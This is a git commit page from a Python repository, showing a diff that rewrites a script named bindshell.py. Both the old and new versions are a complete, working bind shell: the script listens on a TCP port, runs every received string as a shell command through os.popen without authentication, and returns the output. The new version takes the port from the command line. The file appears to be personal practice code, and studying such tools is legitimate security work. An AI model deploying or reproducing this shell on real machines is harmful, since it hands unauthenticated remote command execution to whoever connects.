diff options
| author | jerome <jerome@xlinfo.fr> | 2024-09-17 15:32:53 +0200 |
|---|---|---|
| committer | jerome <jerome@xlinfo.fr> | 2024-09-17 15:32:53 +0200 |
| commit | 550497e907868ac0249a18eef2a0fb7f5bcd9ed8 (patch) | |
| tree | 5690fce051444c9897a2bcf610d174b20dfe6718 /bindshell.py | |
| parent | cdb4e2f17863038e28ab063415f59cc4d94491d6 (diff) | |
| download | python-550497e907868ac0249a18eef2a0fb7f5bcd9ed8.tar.gz python-550497e907868ac0249a18eef2a0fb7f5bcd9ed8.zip | |
scapy
Diffstat (limited to 'bindshell.py')
| -rw-r--r-- | bindshell.py | 47 |
1 files changed, 31 insertions, 16 deletions
diff --git a/bindshell.py b/bindshell.py index faa014d..5213002 100644 --- a/bindshell.py +++ b/bindshell.py @@ -1,16 +1,31 @@ -#!/usr/bin/env python3 -import socket,os - -try: - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.bind(('', 1234)) - s.listen() - conn,addr = s.accept() - while 1: - data = conn.recv(1024) - reponse=os.popen(data.decode()).read() - conn.sendall(str(reponse).encode()) -except KeyboardInterrupt: - s.close() -finally: - print("bye") +#!/usr/bin/env python + +import sys, os, socket + +def bindshell(port): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind(('',port)) + s.listen() + conn,addr = s.accept() + while 1: + data = conn.recv(1024) + reponse = os.popen(data.decode().strip()).read() + conn.sendall(str(reponse).encode()) + except KeyboardInterrupt: + s.close() + finally: + print("bye") + +if __name__ == "__main__": + try: + bindshell(int(sys.argv[1])) + except IndexError: + print(f"{sys.argv[0]} demande un port en agument") + + + + + + + |
